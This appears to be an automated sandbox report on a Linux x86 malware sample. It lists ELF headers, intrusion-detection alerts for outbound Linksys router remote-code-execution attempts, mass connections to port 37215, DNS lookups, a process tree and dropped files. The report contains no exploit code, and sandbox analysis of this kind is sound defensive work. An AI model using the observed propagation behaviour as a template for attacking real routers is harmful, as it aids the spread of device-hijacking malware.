Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	104476
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x124a6	0x0	0x6	AX	16
.fini	PROGBITS	0x805a556	0x12556	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x805a580	0x12580	0x29dc	0x0	0x2	A	32
.ctors	PROGBITS	0x805d000	0x15000	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x805d00c	0x1500c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805d040	0x15040	0x479c	0x0	0x3	WA	32
.bss	NOBITS	0x80617e0	0x197dc	0x4e4c	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x197dc	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x14f5c	0x14f5c	4.1330	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x15000	0x805d000	0x805d000	0x47dc	0x962c	0.2654	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/20/22-20:10:46.484775 04/20/22-20:10:46.484775	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	34702	8080	192.168.2.23	103.136.19.50
04/20/22-20:10:46.342843 04/20/22-20:10:46.342843	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	51604	8080	192.168.2.23	84.114.73.222
04/20/22-20:10:43.268455 04/20/22-20:10:43.268455	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	34848	8080	192.168.2.23	83.250.144.62

Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 125.253.45.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 98.161.68.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 34.86.211.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 60.247.137.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 149.81.188.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 130.47.215.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 177.169.37.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 204.134.223.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 123.13.105.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 87.69.178.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 97.198.3.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 164.187.146.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 174.43.162.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 40.177.252.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 218.47.89.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 88.226.53.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 92.6.214.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 177.68.187.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 181.178.173.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 109.144.66.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 23.43.184.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 4.69.110.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 174.72.120.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 42.130.17.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 212.10.53.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 20.144.108.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 177.153.222.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 61.35.68.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 154.213.238.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 91.189.244.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 223.243.77.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 43.17.203.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 99.73.113.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 161.125.225.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 103.171.127.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 60.49.13.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 134.62.104.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 148.239.93.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 150.21.38.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:15021 -> 116.183.250.206:37215

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 20, 2022 20:10:55.815586090 CEST	192.168.2.23	1.1.1.1	0x2e20	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)
Apr 20, 2022 20:10:55.815776110 CEST	192.168.2.23	1.1.1.1	0xa48e	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:10:56.479110003 CEST	192.168.2.23	1.1.1.1	0x25bd	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:14.318370104 CEST	192.168.2.23	1.1.1.1	0xae36	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:14.575442076 CEST	192.168.2.23	1.1.1.1	0x4546	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:26.375695944 CEST	192.168.2.23	1.1.1.1	0x3051	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:26.597455025 CEST	192.168.2.23	1.1.1.1	0x5da2	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:39.118844032 CEST	192.168.2.23	1.1.1.1	0x80f3	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:40.270435095 CEST	192.168.2.23	1.1.1.1	0x8c3a	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:52.314901114 CEST	192.168.2.23	1.1.1.1	0xec0d	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:11:53.067934036 CEST	192.168.2.23	1.1.1.1	0x71c6	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:05.156271935 CEST	192.168.2.23	1.1.1.1	0x5d9a	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:05.440243959 CEST	192.168.2.23	1.1.1.1	0x2dc8	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:18.335644960 CEST	192.168.2.23	1.1.1.1	0x86c9	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:18.689949036 CEST	192.168.2.23	1.1.1.1	0xc564	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:30.055493116 CEST	192.168.2.23	1.1.1.1	0x87fc	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:30.401401043 CEST	192.168.2.23	1.1.1.1	0x6fbc	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:44.666297913 CEST	192.168.2.23	1.1.1.1	0xa4a2	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:46.194710970 CEST	192.168.2.23	1.1.1.1	0x7868	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:56.900876999 CEST	192.168.2.23	1.1.1.1	0x33e1	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:12:58.230856895 CEST	192.168.2.23	1.1.1.1	0xfe0a	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:13:10.136569023 CEST	192.168.2.23	1.1.1.1	0x85c7	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:13:10.472882986 CEST	192.168.2.23	1.1.1.1	0x764c	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:13:23.096679926 CEST	192.168.2.23	1.1.1.1	0xa47b	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)
Apr 20, 2022 20:13:24.326057911 CEST	192.168.2.23	1.1.1.1	0x689a	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 20, 2022 20:10:55.831759930 CEST	1.1.1.1	192.168.2.23	0x2e20	No error (0)	daisy.ubuntu.com		185.125.188.137	A (IP address)	IN (0x0001)
Apr 20, 2022 20:10:55.831759930 CEST	1.1.1.1	192.168.2.23	0x2e20	No error (0)	daisy.ubuntu.com		185.125.188.136	A (IP address)	IN (0x0001)

Start time:	20:10:36
Start date:	20/04/2022
Path:	/tmp/x86
Arguments:	/tmp/x86
File size:	104876 bytes
MD5 hash:	65677d3bed4589c2afd0904c75b1c177

Start time:	20:10:43
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:10:44
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:10:45
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:10:48
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:10:49
Start date:	20/04/2022
Path:	/usr/sbin/gdm3
Arguments:	n/a
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Start time:	20:10:50
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:10:51
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/run/systemd/journal/streams/.#9:77000gd4NUK

/run/systemd/journal/streams/.#9:77020E400KL

/run/systemd/journal/streams/.#9:770336EOYNH

/run/systemd/journal/streams/.#9:77034YJiJ9K

/run/systemd/journal/streams/.#9:77035Z8rbTJ

/run/systemd/journal/streams/.#9:77036FOhHAK

/run/systemd/journal/streams/.#9:770376FkQeJ

/run/systemd/journal/streams/.#9:77038mYywVH

/run/systemd/journal/streams/.#9:77039ClJLPK

/run/systemd/journal/streams/.#9:77040B9hX4L

/run/systemd/journal/streams/.#9:77041fHfIHL

/run/systemd/journal/streams/.#9:77048NelWpI

/run/systemd/journal/streams/.#9:77049pHxtII

/run/systemd/journal/streams/.#9:77058NP7ZUH

/run/systemd/journal/streams/.#9:77772Nh7w3g

/run/systemd/journal/streams/.#9:77774dqbVIi

/run/systemd/journal/streams/.#9:77776JP0KQg

/run/systemd/journal/streams/.#9:77786oLpr1g

/run/systemd/journal/streams/.#9:77893L0ts0h

/run/systemd/journal/streams/.#9:8651349Q2GX

/run/systemd/journal/streams/.#9:86514n1x34U

/run/systemd/journal/streams/.#9:86515ynaasV

/run/systemd/journal/streams/.#9:86516HI5UMX

/run/systemd/journal/streams/.#9:86517Cm5EJX

/run/systemd/journal/streams/.#9:86518pcjpLU

/run/systemd/journal/streams/.#9:86519VYZ4oW

/run/systemd/seats/.#seat08btepO

/run/systemd/seats/.#seat0CqwlLq

/run/systemd/seats/.#seat0IrlnCP

Linux Analysis Report
x86

Start time:	20:10:52
Start date:	20/04/2022
Path:	/usr/bin/gpu-manager
Arguments:	n/a
File size:	76616 bytes
MD5 hash:	8fae9dd5dd67e1f33d873089c2fd8761

Start time:	20:10:53
Start date:	20/04/2022
Path:	/usr/bin/gpu-manager
Arguments:	n/a
File size:	76616 bytes
MD5 hash:	8fae9dd5dd67e1f33d873089c2fd8761

Start time:	20:10:54
Start date:	20/04/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	20:10:56
Start date:	20/04/2022
Path:	/usr/bin/gpu-manager
Arguments:	n/a
File size:	76616 bytes
MD5 hash:	8fae9dd5dd67e1f33d873089c2fd8761

Start time:	20:10:57
Start date:	20/04/2022
Path:	/usr/bin/gpu-manager
Arguments:	n/a
File size:	76616 bytes
MD5 hash:	8fae9dd5dd67e1f33d873089c2fd8761

Start time:	20:10:59
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:11:05
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:11:07
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:11:08
Start date:	20/04/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	20:11:09
Start date:	20/04/2022
Path:	/usr/bin/gpu-manager
Arguments:	n/a
File size:	76616 bytes
MD5 hash:	8fae9dd5dd67e1f33d873089c2fd8761